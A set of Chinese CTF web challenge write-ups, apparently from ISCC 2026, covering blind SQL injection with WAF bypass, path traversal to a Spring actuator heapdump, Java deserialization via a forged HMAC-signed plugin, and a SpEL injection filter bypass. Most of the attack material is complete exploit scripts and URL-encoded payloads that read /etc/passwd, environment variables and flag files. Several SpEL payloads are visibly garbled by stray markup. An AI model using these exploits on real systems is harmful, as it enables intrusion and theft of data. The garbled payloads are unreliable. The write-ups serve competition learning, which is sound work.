{"error":"\u8bbf\u95ee\u88ab\u62d2\u7edd","message":"\u60a8\u65e0\u6743\u67e5\u770b\u6b64\u7b14\u8bb0","trace_id":"1249ae8e-f08d-4154-a8aa-f708d41e3087"}
[+] trace_id: 1249ae8e-f08d-4154-a8aa-f708d41e3087
[+] feedback response: 200
[+] decoded object: {'type': 'FLAG_OBJECT', 'flag': 'ISCC{Hch8dGwumApTYSBA4EcuXMNkT}', 'project_id': 'flag-project-001', 'timestamp': '2026-05-11T11:44:35.048916'}
[+] FLAG: ISCC{Hch8dGwumApTYSBA4EcuXMNkT}

社团活动统计

解题思路

第一步:信息收集

访问目标地址<目标地址>,发现一个校园社团活动平台页面。

页面底部有重要提示:

🕵️ 访问核心功能需:用户代理+官方来源页+校园令牌

第二步:发现隐藏文件

查看robots.txt文件:

社团活动统计 截图 1

1
2
User-agent: *
Allow: /static/hint/tech_stack.txt

访问/static/hint/tech_stack.txt,获取关键信息:

社团活动统计 截图 2

Backend: Django 5.2.5

ATTENTION:

1
2
3
To access the core interface, you need to set two request headers correctly:
1. User-Agent: Must strictly follow "Campus-Stat/1.0" (including case and special symbols);
2. Referer: Must be a valid HTTPS URL containing "campus-stat.example.com" (no extra content, only the root domain).

第三步:设置请求头

根据提示设置两个请求头:

1
2
User-Agent: Campus-Stat/1.0
Referer: [https://campus-stat.example.com/](https://campus-stat.example.com/)

第四步:探索隐藏页面

使用正确的请求头访问各个路径:

1
/admin/- 发现隐藏文本

flag{stat

社团活动统计 截图 3

提示:”观察=通关”

1
/stat/- 发现关键词

社团活动统计 截图 4

提示:”Maybe this is a middle step?”

1
/activity/- 发现部分flag

社团活动统计 截图 5

控制台日志:[Clue] Half of the truth: ISCC{Campus_Stat_A_

第五步:找到SQL注入点

尝试组合路径/admin/stat/activity/,发现需要”校园凭证”:

社团活动统计 截图 6

经过测试,发现需要添加X-Campus-Token请求头,值为之前获取的关键词maybe:

X-Campus-Token: maybe

社团活动统计 截图 7

成功访问后发现SQL注入点:

参数:dim_filter

社团活动统计 截图 8

1
SQL语句格式:SELECT COUNT(*) AS [维度值] FROM activity

第六步:SQL注入绕过WAF

测试发现WAF过滤了以下关键词(全大写):

1
SELECTFROMUNIONWHEREAND

绕过方法:使用大小写混合

sElEcT代替SELECT

fRoM代替FROM

Union代替UNION

anD代替AND

lIkE代替LIKE

同时发现ascii和substr函数被完全过滤。

第七步:布尔盲注获取Flag

由于ascii和substr被过滤,改用hex函数配合lIkE进行盲注:

获取flag长度:

1
1/**/anD/**/length((sElEcT/**/value/**/fRoM/**/flag))=27

社团活动统计 截图 9

社团活动统计 截图 10

结果:flag长度为27个字符

获取flag的hex值:

1
1/**/anD/**/hex((sElEcT/**/value/**/fRoM/**/flag))/**/lIkE/**/'{pattern}%'

逐字符匹配hex值:

Flag hex: 495343437B43616D7075735F537461745F415F374B217A5940777D

将hex转换为ASCII:

echo “495343437B43616D7075735F537461745F415F374B217A5940777D” | xxd -r -p

第八步:获取Flag

最终得到flag:

ISCC{Campus_Stat_A_7K!zY@w}

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
import requests
import sys

TARGET = "<目标地址>"
HEADERS = {
"User-Agent": "Campus-Stat/1.0",
"Referer": "[https://campus-stat.example.com/](https://campus-stat.example.com/)",
"X-Campus-Token": "maybe",
}
INJECT_URL = f"{TARGET}/admin/stat/activity/"
TIMEOUT = 10


def inject(payload):
"""发送注入payload,返回True表示条件为真"""
try:
resp = requests.get(
INJECT_URL, headers=HEADERS, params={"dim_filter": payload}, timeout=TIMEOUT
)
return "✅ 10" in resp.text
except Exception as e:
print(f"[!] 请求失败: {e}")
return False


def verify_environment():
"""验证环境:检查请求头和注入点"""
print("[*] Step 1: 验证请求头...")
# 检查User-Agent和Referer
resp = requests.get(f"{TARGET}/admin/", headers=HEADERS, timeout=TIMEOUT)
if "flag{stat" not in resp.text:
print("[-] User-Agent或Referer设置错误")
return False
print("[+] User-Agent和Referer验证通过")
# 检查X-Campus-Token
print("[*] Step 2: 验证校园令牌...")
resp = requests.get(INJECT_URL, headers=HEADERS, timeout=TIMEOUT)
if "访问受限" in resp.text:
print("[-] X-Campus-Token设置错误")
return False
print("[+] 校园令牌验证通过")
# 检查注入点
print("[*] Step 3: 验证SQL注入点...")
if not inject("1=1"):
print("[-] 基本注入失败")
return False
if inject("1=2"):
print("[-] 注入逻辑异常")
return False
print("[+] SQL注入点验证通过")
return True


def find_flag_length():
"""获取flag长度"""
print("[*] Step 4: 获取flag长度...")
for i in range(1, 100):
payload = f"1/**/anD/**/length((sElEcT/**/value/**/fRoM/**/flag))={i}"
if inject(payload):
print(f"[+] Flag长度: {i}")
return i
print("[-] 无法获取flag长度")
return None


def dump_flag_hex(flag_len):
"""用hex函数+布尔盲注逐字符获取flag"""
print(f"[*] Step 5: 布尔盲注获取flag (共{flag_len * 2}个hex字符)...")
hex_chars = "0123456789ABCDEF"
flag_hex = ""
for i in range(1, flag_len * 2 + 1):
found = False
for c in hex_chars:
pattern = flag_hex + c + "%"
payload = f"1/**/anD/**/hex((sElEcT/**/value/**/fRoM/**/flag))/**/lIkE/**/'{pattern}'"
if inject(payload):
flag_hex += c
# 显示进度
progress = i / (flag_len * 2) * 100
sys.stdout.write(
f"\r[+] 进度: {i}/{flag_len * 2} ({progress:.1f}%) | hex: {flag_hex}"
)
sys.stdout.flush()
found = True
break
if not found:
print(f"\n[-] 位置{i}未找到匹配字符")
return None
print() # 换行
return flag_hex


def main():
print("=" * 50)
print(" CTF Web题一把梭 - 社团活动统计")
print("=" * 50)
print()
# Step 1-3: 验证环境
if not verify_environment():
print("\n[-] 环境验证失败,请检查目标地址和请求头")
sys.exit(1)
# Step 4: 获取flag长度
flag_len = find_flag_length()
if not flag_len:
sys.exit(1)
# Step 5: 布尔盲注获取flag
flag_hex = dump_flag_hex(flag_len)
if not flag_hex:
sys.exit(1)
# Step 6: 转换为ASCII
try:
flag = bytes.fromhex(flag_hex).decode()
except Exception as e:
print(f"[-] Hex转换失败: {e}")
sys.exit(1)
print()
print("=" * 50)
print(f" FLAG: {flag}")
print("=" * 50)


if __name__ == "__main__":
main()

社团活动统计 截图 11

逆向穿越

解题思路

题目分析

首页直接给了一个接口格式:

1
GET /config/{app}/{profile}/{filename}

同时页面示例里有:

1
/config/infra/default/setup.yml
1
/config/app/dev/application.yml

先访问:

1
/config/app/dev/application.yml

返回的是一份假配置,并且给出提示:

逆向穿越 截图 1

这说明关键点是想办法读系统根目录下的/app/application.yml。

漏洞点

这个接口对第三段filename的处理存在路径归一化问题,%2f会被当成真实的/。

所以可以直接把filename伪造成绝对路径:

1
/config/app/dev/%2fapp%2fapplication.yml

逆向穿越 截图 2

成功读到真实配置:

1
2
3
management:
endpoints:
web:

base-path: “/internal-monitor-xyz123”

exposure:

include: “env”

1
2
3
system:
diagnostic:
backup-download-path: ${SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH}

第二步:读 actuator env

根据真实配置访问:

1
/internal-monitor-xyz123/env

逆向穿越 截图 3

可拿到环境信息,其中包含:

1
2
"SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH": {
"value": "/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat"}

所以备份文件路径为:

1
/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat

第三步:下载 heapdump 并离线提取

该文件本质上是一个 Java HPROF dump:

Java HPROF dump, created Tue Mar 10 13:14:21 2026

直接明文访问 env 时,FLAG会被脱敏成******,但 heapdump 里仍然保留了真实字符串。

逆向穿越 截图 4

把 dump 拉到本地后,用strings或脚本检索ISCC{即可得到 flag。

最终 flag

ISCC{Double_Decode_Spring_Bingo_2026}

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
#!/usr/bin/env python3
import argparse
import json
import re
import time
from urllib.request import Request, urlopen

FLAG_RE = re.compile(rb"ISCC{[^\r\n}]{0,256}}")


def log(msg: str) -> None:
print(msg, flush=True)


def http_get(url: str, timeout: int = 15, headers: dict | None = None) -> bytes:
req = Request(url, headers=headers or {"User-Agent": "Mozilla/5.0"})
with urlopen(req, timeout=timeout) as resp:
return resp.read()


def http_get_retry(
url: str,
timeout: int = 15,
headers: dict | None = None,
tries: int = 6,
backoff: float = 2.0,
) -> bytes:
last_exc = None
for i in range(tries):
try:
return http_get(url, timeout=timeout, headers=headers)
except Exception as e:
last_exc = e
log(f"[!] request failed ({i + 1}/{tries}): {url} -> {e}")
if i == tries - 1:
break
time.sleep(backoff * (i + 1))
raise last_exc # type: ignore[misc]


def find_json_value(blob: bytes, key: str) -> str | None:
try:
obj = json.loads(blob.decode("utf-8", errors="replace"))
except Exception:
return None
stack = [obj]
while stack:
cur = stack.pop()
if isinstance(cur, dict):
if key in cur:
val = cur[key]
if isinstance(val, dict) and "value" in val:
return str(val["value"])
return str(val)
stack.extend(cur.values())
elif isinstance(cur, list):
stack.extend(cur)
return None


def extract_flag(data: bytes) -> str | None:
m = FLAG_RE.search(data)
if m:
return m.group(0).decode("utf-8", errors="replace")
return None


def stream_find_flag(
url: str,
timeout: int,
chunk_size: int,
dump_file,
headers: dict | None = None,
) -> str | None:
req = Request(url, headers=headers or {"User-Agent": "Mozilla/5.0"})
tail = b""
total = 0
with urlopen(req, timeout=timeout) as resp:
while True:
chunk = resp.read(chunk_size)
if not chunk:
log(f"[*] stream ended after {total} bytes")
return None
total += len(chunk)
if dump_file is not None:
dump_file.write(chunk)
flag = extract_flag(tail + chunk)
if flag:
log(f"[+] flag found after {total} bytes")
return flag
tail = (tail + chunk)[-512:]
if total % (1024 * 1024) < chunk_size:
log(f"[*] streamed {total} bytes")


def main() -> int:
parser = argparse.ArgumentParser(description="Cloud Config Central one-shot exploit")
parser.add_argument("--base-url", default="<目标地址>", help="target base URL")
parser.add_argument(
"--dump-out", default="", help="optional local path for downloaded heapdump"
)
parser.add_argument("--timeout", type=int, default=15, help="request timeout")
parser.add_argument("--chunk-size", type=int, default=65536, help="range chunk size")
parser.add_argument("--tries", type=int, default=8, help="retry count per request")
args = parser.parse_args()
base = args.base_url.rstrip("/")
log(f"[*] target: {base}")
try:
log(f"[*] probing home: {base}/")
home = http_get_retry(f"{base}/", timeout=args.timeout, tries=max(2, min(args.tries, 4)))
log(f"[*] home OK, received {len(home)} bytes")
except Exception as e:
raise SystemExit(f"[!] target unreachable from your machine: {e}")
real_cfg_url = f"{base}/config/app/dev/%2fapp%2fapplication.yml"
log(f"[*] reading real config: {real_cfg_url}")
try:
cfg = http_get_retry(real_cfg_url, timeout=args.timeout, tries=args.tries)
except Exception as e:
raise SystemExit(f"[!] failed while reading real config: {e}")
if b"/internal-monitor-" not in cfg:
raise SystemExit("[!] failed to read real /app/application.yml")
m = re.search(rb'base-path:\s*"([^"]+)"', cfg)
if not m:
raise SystemExit("[!] actuator base path not found in application.yml")
actuator_base = m.group(1).decode()
log(f"[*] actuator base path: {actuator_base}")
env_url = f"{base}{actuator_base}/env"
log(f"[*] reading env: {env_url}")
try:
env_blob = http_get_retry(env_url, timeout=args.timeout, tries=args.tries)
except Exception as e:
raise SystemExit(f"[!] failed while reading env endpoint: {e}")
dump_path = find_json_value(env_blob, "SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH")
dump_urls = []
if dump_path:
dump_urls.append(f"{base}{dump_path}")
dump_urls.append(f"{base}{actuator_base}/heapdump")
dump_urls = list(dict.fromkeys(dump_urls))
log("[*] candidate dump URLs:")
for u in dump_urls:
log(f" - {u}")
dump_file = open(args.dump_out, "wb") if args.dump_out else None
try:
last_error = None
for dump_url in dump_urls:
log(f"[*] trying dump URL: {dump_url}")
if dump_file is not None:
dump_file.seek(0)
dump_file.truncate()
try:
flag = stream_find_flag(
dump_url,
timeout=max(args.timeout, 30),
chunk_size=args.chunk_size,
dump_file=dump_file,
headers={"User-Agent": "Mozilla/5.0"},
)
if flag:
log(flag)
return 0
except Exception as e:
log(f"[!] dump stream failed: {e}")
last_error = e
continue
if last_error is not None:
raise SystemExit(
f"[!] heapdump download failed: {last_error}"
)
finally:
if dump_file is not None:
dump_file.close()
raise SystemExit("[!] flag not found in heapdump")


if __name__ == "__main__":
raise SystemExit(main())

国赛 Web WP

Agent插件管理系统

解题思路

一、漏洞概述

目标系统存在两处核心问题:

插件上传时对 metadata.ser 进行 Java 原生反序列化

插件 HMAC 密钥硬编码在程序配置中,可被恢复后伪造合法插件包

在此基础上,可以构造应用自带类组成的反序列化对象链,触发服务端读取任意文件,并将结果写入日志接口返回。

此外,/api/config/update_url 还存在 team_id 路径穿越,可将内网 HTTP 响应内容下载到指定目录,再通过任意文件读取回显。

二、关键分析

1. HMAC 密钥恢复

下载官方提供的 agent-core.jar 后,对配置和相关校验逻辑进行分析,可以恢复出插件签名密钥:

Agent插件管理系统 截图 1

k3y_5A62_X86

因此,攻击者可以自行构造 metadata.ser,再为其生成合法的 hmacSignature。

2. 反序列化触发点

上传流程的关键逻辑为:

Agent插件管理系统 截图 2

1
/api/upload

-> 解压插件包

-> 读取 manifest.json

-> 校验 HMAC

-> 反序列化 metadata.ser

因此,只要签名正确,上传阶段就会直接触发反序列化。

3. 应用自带可用类链

程序中存在如下类:

ResourceRefresher

DataStream

FileExporter

反编译后可以整理出如下调用链:

Agent插件管理系统 截图 3

1
2
3
4
5
6
ResourceRefresher.readObject()
-> refresh()
-> DataStream.process(targetPath)
-> FileExporter.export(targetPath)
-> Files.readAllBytes(Paths.get(path))
-> LogService.log(teamId, "FILE_EXPORT", "Exported: ... Content: ...")

因此,只要将对象字段布置为目标路径和指定 team_id,在反序列化阶段即可读取目标文件并把内容写入对应日志。

4. 文件读取原语的边界

Agent插件管理系统 截图 4

文件读取实际调用的是:

1
Files.readAllBytes(Paths.get(path))

因此该原语的能力是:

可以读取普通文件

不支持目录列举

不支持 *、正则、glob 展开

也就是说,利用时必须提供精确路径。

5. update_url 的 team_id 路径穿越

更新逻辑会把 HTTP 响应保存到:

1
/tmp/agent//downloaded_plugin.zip

在线上环境中,team_id 可被构造成路径穿越:

../../app/uploads/

于是下载结果会落到:

1
/app/uploads//downloaded_plugin.zip

随后再利用任意文件读取该路径,即可获得内网 HTTP 接口的响应体。

利用链

完整利用过程如下:

恢复 HMAC 密钥

-> 构造恶意 metadata.ser

-> 生成带合法 manifest.json 的插件包

-> POST /api/upload

-> 服务端反序列化应用自带对象链

-> 读取指定文件

-> GET /api/logs?team_id=…

-> 取回文件内容

扩展利用过程如下:

1
2
3
POST /api/config/update_url
team_id=../../app/uploads/
url=[http://localhost:8080/](http://localhost:8080/)

-> 内网响应保存到 /app/uploads//downloaded_plugin.zip

-> 再次触发任意文件读取

-> 取回该响应内容

利用构造

恶意对象链的核心结构如下:

1
2
3
4
5
6
FileExporter exporter = new FileExporter(teamId);
DataStream dataStream = new DataStream();
dataStream.setExporter(exporter);
ResourceRefresher refresher = new ResourceRefresher();
refresher.setTargetPath(targetPath);
refresher.setDataStream(dataStream);

插件包结构:manifest.json、metadata.ser

其中:

manifest.json 中填写合法 HMAC

metadata.ser 为序列化后的恶意对象

Exp:任意文件读取插件生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import base64
import hashlib
import hmac
import json
import subprocess
import zipfile
from pathlib import Path

# Editable settings.
CLASS_DIR = Path(r"D:\Hnu\比赛\2026iscc\artifacts\salvaged\BOOT-INF\classes")
JAVA_FILE = Path("PayloadBuilder.java")
JAVA_CLASS = "PayloadBuilder"
TARGET_PATH = "/etc/passwd"
TEAM_ID = "<队伍ID>"
PLUGIN_NAME = "evil-plugin"
PLUGIN_VERSION = "1.0.0"
PLUGIN_DESCRIPTION = "evil"
HMAC_KEY = b"k3y_5A62_X86"
PAYLOAD_FILE = Path("metadata.ser")
PLUGIN_FILE = Path("evil-plugin.zip")


def run(cmd):
print("[*] run:", " ".join(str(part) for part in cmd))
subprocess.run(cmd, check=True)


def ensure_builder():
class_file = Path(JAVA_CLASS + ".class")
needs_compile = (not class_file.exists()) or (
class_file.stat().st_mtime < JAVA_FILE.stat().st_mtime
)
if needs_compile:
run(["javac", "-encoding", "UTF-8", "-cp", str(CLASS_DIR), str(JAVA_FILE)])


def build_payload():
ensure_builder()
run(
[
"java",
"-cp",
f".;{CLASS_DIR}",
JAVA_CLASS,
str(PAYLOAD_FILE),
TEAM_ID,
TARGET_PATH,
]
)
return PAYLOAD_FILE.read_bytes()


def sign_blob(blob):
digest = hmac.new(HMAC_KEY, blob, hashlib.sha256).digest()
return base64.b64encode(digest).decode()


def build_plugin(blob):
manifest = {
"pluginName": PLUGIN_NAME,
"version": PLUGIN_VERSION,
"hmacSignature": sign_blob(blob),
"description": PLUGIN_DESCRIPTION,
}
with zipfile.ZipFile(PLUGIN_FILE, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr("manifest.json", json.dumps(manifest, ensure_ascii=False, indent=2))
zf.writestr("metadata.ser", blob)


def main():
blob = build_payload()
build_plugin(blob)
print("[+] target path:", TARGET_PATH)
print("[+] team id :", TEAM_ID)
print("[+] payload :", PAYLOAD_FILE.resolve())
print("[+] plugin zip :", PLUGIN_FILE.resolve())


if __name__ == "__main__":
main()

关键回显

1. 读取 /etc/flag

通过日志接口可获得如下回显:

Agent插件管理系统 截图 5

明显假flagISCC{f4k3_fl4g_d3c0y_d0nt_subm1t}\n”,

2. 读取/etc/passw

Agent插件管理系统 截图 6

3. 读取环境变量/proc/self/environ,可得到:

Agent插件管理系统 截图 7

4. 最后的flag位置是/opt/app/.env

Agent插件管理系统 截图 8

flag:ISCC{aunXV6waj5Hp8cT35SwVcKK}

编码迷宫

解题思路

一、漏洞概述

目标站点的核心接口为:/api/route?expr=

该接口会对 expr 参数做 SpEL 求值。前置过滤器会拦截原始请求中连续小写的:fs、read

但目标仍然允许零参方法通过“属性访问”的方式触发,因此可以绕过 #fs.read(…) 这种直接写法,改为从基础对象反射构造出 java.io.File.class,再读取根目录 /flag。

1
最终关键点是:toURL.content['r'+'eadAllBytes']这里没有在原始请求里直接出现连续小写 read,因此前置过滤器不会拦截;进入 SpEL 求值阶段后,'r'+'eadAllBytes' 会被重新拼成 readAllBytes,对象索引访问会继续走属性解析,最终触发真实的零参方法 readAllBytes()。

二、收集信息

访问<目标地址>/可以看到页面标题:Spring Route Debugger

编码迷宫 截图 1

1
<目标地址>/api/route?expr=1%2B1 注意加号的url编码

返回2,这一步说明 /api/route?expr= 确实会对 expr 做表达式求值。

编码迷宫 截图 2

访问<目标地址>/api/route?expr=%23fs

返回:Security Filter: Malicious keywords detected!这一步说明前置关键字过滤确实存在。

编码迷宫 截图 3

1
<目标地址>/api/route?expr=%27abc%27.toUpperCase

返回ABC。这一步说明目标虽然限制了普通显式方法调用,但零参方法仍然可以通过属性访问触发。

编码迷宫 截图 4

三、构造Payload

1. 选择稳定起点

起点直接使用字符串字面量:’’

它不依赖任何上下文变量,始终可用。

先取它的类对象:’’.class。这会得到 java.lang.String 的 Class 对象。、

编码迷宫 截图 5

2. 从 String.class 构造 lookupClass

第一段核心 payload:

1
''.class.describeConstable.get.class.methods.?[name matches '^resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass

构造过程:

1
''.class.describeConstable 取到 Optional

.get 解开 Optional

1
.class.methods 枚举该对象所属类的方法
1
?[name matches '^resolveConstantDesc$'][0] 选中 resolveConstantDesc

.parameterTypes[0] 取第一个参数类型,即 MethodHandles$Lookup

.enclosingClass.lookup.lookupClass 利用 caller-sensitive Lookup 拿到当前真实可达的调用类这段结果记为:L

验证表达式:

1
''.class.describeConstable.get.class.methods.?[name matches '^resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass.name

url编码得到

1
<目标地址>/api/route?expr=''.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20'%5EresolveConstantDesc%24'%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass

返回:

org.springframework.expression.spel.support.ReflectivePropertyAccessor$OptimalPropertyAccessor

编码迷宫 截图 6

3. 从 lookupClass 推到 Runtime.class

第二段 payload:

1
L.classLoader.URLs[0].openConnection.jarFile.class.methods.?[name matches '^getVersion$'][0].returnType.enclosingClass

构造过程:

L.classLoader.URLs[0] 取当前应用 fat jar 的 URL

.openConnection.jarFile.class 拿到 JarFile.class

在 JarFile 方法中找到 getVersion

getVersion 的返回类型是 Runtime$Version

.enclosingClass 回到它的外部类 java.lang.Runtime

这段结果记为:R

表达式:

1
''.class.describeConstable.get.class.methods.?[name matches '<sup>resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass.classLoader.URLs[0].openConnection.jarFile.class.methods.?[name matches '</sup>getVersion$'][0].returnType.enclosingClass.name

url编码得

1
<目标地址>/api/route?expr=''.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20'%5EresolveConstantDesc%24'%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.%3F%5Bname%20matches%20'%5EgetVersion%24'%5D%5B0%5D.returnType.enclosingClass.name

返回:java.lang.Runtime

编码迷宫 截图 7

4. 从 Runtime.class 反推出 File.class

第三段 payload:

R.methods.?[(name matches ‘exec$’) and (parameterCount matches ‘3$’)][0].parameterTypes[2]

构造过程:

在 Runtime 的方法列表中找到 exec

选中参数个数为 3 的重载

该重载为 exec(String, String[], File)

取第三个参数类型,得到 java.io.File.class

这段结果记为:F

验证表达式:

1
''.class.describeConstable.get.class.methods.?[name matches '<sup>resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass.classLoader.URLs[0].openConnection.jarFile.class.methods.?[name matches '</sup>getVersion$ &#39;][0].returnType.enclosingClass.methods.?[(name matches &#39;^exec $') and (parameterCount matches '^3$')][0].parameterTypes[2].name

url编码得:

1
<目标地址>/api/route?expr=''.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20'%5EresolveConstantDesc%24'%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.%3F%5Bname%20matches%20'%5EgetVersion%24'%5D%5B0%5D.returnType.enclosingClass.methods.%3F%5B(name%20matches%20'%5Eexec%24')%20and%20(parameterCount%20matches%20'%5E3%24')%5D%5B0%5D.parameterTypes%5B2%5D.name

返回java.io.File

编码迷宫 截图 8

5. 用 File.class 枚举根目录并锁定 /flag

1
2
第四段 payload:F.listRoots[0].listFiles.?[name matches '._flag._'][0]
构造过程:F.listRoots[0] 取 Linux 根目录 /

.listFiles 枚举根目录文件

1
?[name matches '._flag._'][0] 选出名称中包含 flag 的第一个文件

这段结果记为:T

验证表达式:

1
''.class.describeConstable.get.class.methods.?[name matches '<sup>resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass.classLoader.URLs[0].openConnection.jarFile.class.methods.?[name matches '</sup>getVersion$ &#39;][0].returnType.enclosingClass.methods.?[(name matches &#39;^exec $') and (parameterCount matches '^3$')][0].parameterTypes[2].listRoots[0].listFiles.?[name matches '._flag._'][0].canonicalPath

url编码得:

1
<目标地址>/api/route?expr=''.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20'%5EresolveConstantDesc%24'%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.%3F%5Bname%20matches%20'%5EgetVersion%24'%5D%5B0%5D.returnType.enclosingClass.methods.%3F%5B(name%20matches%20'%5Eexec%24')%20and%20(parameterCount%20matches%20'%5E3%24')%5D%5B0%5D.parameterTypes%5B2%5D.listRoots%5B0%5D.listFiles.%3F%5Bname%20matches%20'._flag._'%5D%5B0%5D.canonicalPath预期返回:/flag

编码迷宫 截图 9

6. 从目标文件拿到输入流

1
第五段 payload:T.toURL.content

这段结果记为:S

验证输入流类型时可使用:

1
''.class.describeConstable.get.class.methods.?[name matches '<sup>resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass.classLoader.URLs[0].openConnection.jarFile.class.methods.?[name matches '</sup>getVersion$ &#39;][0].returnType.enclosingClass.methods.?[(name matches &#39;^exec $') and (parameterCount matches '^3$')][0].parameterTypes[2].listRoots[0].listFiles.?[name matches '._flag._'][0].toURL.content.class.name

url编码得:

1
<目标地址>/api/route?expr=''.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20'%5EresolveConstantDesc%24'%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.%3F%5Bname%20matches%20'%5EgetVersion%24'%5D%5B0%5D.returnType.enclosingClass.methods.%3F%5B(name%20matches%20'%5Eexec%24')%20and%20(parameterCount%20matches%20'%5E3%24')%5D%5B0%5D.parameterTypes%5B2%5D.listRoots%5B0%5D.listFiles.%3F%5Bname%20matches%20'._flag._'%5D%5B0%5D.toURL.content.class.name

返回java.io.BufferedInputStream

编码迷宫 截图 10

再验证文件里确实有数据:

1
''.class.describeConstable.get.class.methods.?[name matches '<sup>resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass.classLoader.URLs[0].openConnection.jarFile.class.methods.?[name matches '</sup>getVersion$ &#39;][0].returnType.enclosingClass.methods.?[(name matches &#39;^exec $') and (parameterCount matches '^3$')][0].parameterTypes[2].listRoots[0].listFiles.?[name matches '._flag._'][0].toURL.content['a'+'vailable']

url编码得:

1
<目标地址>/api/route?expr=''.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20'%5EresolveConstantDesc%24'%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.%3F%5Bname%20matches%20'%5EgetVersion%24'%5D%5B0%5D.returnType.enclosingClass.methods.%3F%5B(name%20matches%20'%5Eexec%24')%20and%20(parameterCount%20matches%20'%5E3%24')%5D%5B0%5D.parameterTypes%5B2%5D.listRoots%5B0%5D.listFiles.%3F%5Bname%20matches%20'._flag._'%5D%5B0%5D.toURL.content%5B'a'%2B'vailable'%5D

返回40

编码迷宫 截图 11

7. 关键绕过:把 readAllBytes 拆开

如果直接写:S.readAllBytes

或者:S.readAllBytes[0]

原始请求里会直接出现连续小写 read,因此会在进入 SpEL 之前被过滤器拦截。

1
正确写法是:S['r'+'eadAllBytes']

这里的语义是:

原始 HTTP 请求中没有连续小写 read

SpEL 求值时先计算 ‘r’+’eadAllBytes’

结果变成真正的方法名 readAllBytes

对象索引访问继续走属性解析

readAllBytes() 是零参方法,因此会被当作属性触发

这段结果记为:B

1
即:B = T.toURL.content['r'+'eadAllBytes']

验证长度时可使用:

1
''.class.describeConstable.get.class.methods.?[name matches '<sup>resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass.classLoader.URLs[0].openConnection.jarFile.class.methods.?[name matches '</sup>getVersion$ &#39;][0].returnType.enclosingClass.methods.?[(name matches &#39;^exec $') and (parameterCount matches '^3$')][0].parameterTypes[2].listRoots[0].listFiles.?[name matches '._flag._'][0].toURL.content['r'+'eadAllBytes'].length

url编码得:

1
<目标地址>/api/route?expr=''.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20'%5EresolveConstantDesc%24'%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.%3F%5Bname%20matches%20'%5EgetVersion%24'%5D%5B0%5D.returnType.enclosingClass.methods.%3F%5B(name%20matches%20'%5Eexec%24')%20and%20(parameterCount%20matches%20'%5E3%24')%5D%5B0%5D.parameterTypes%5B2%5D.listRoots%5B0%5D.listFiles.%3F%5Bname%20matches%20'._flag._'%5D%5B0%5D.toURL.content%5B'r'%2B'eadAllBytes'%5D.length

返回:40

编码迷宫 截图 12

最终 payload 拼接

符号化拼接如下:

1
2
3
4
5
L = ''.class.describeConstable.get.class.methods.?[name matches '^resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass
R = L.classLoader.URLs[0].openConnection.jarFile.class.methods.?[name matches '^getVersion$'][0].returnType.enclosingClass
F = R.methods.?[(name matches '<sup>exec$') and (parameterCount matches '</sup>3$')][0].parameterTypes[2]
T = F.listRoots[0].listFiles.?[name matches '._flag._'][0]
B = T.toURL.content['r'+'eadAllBytes']

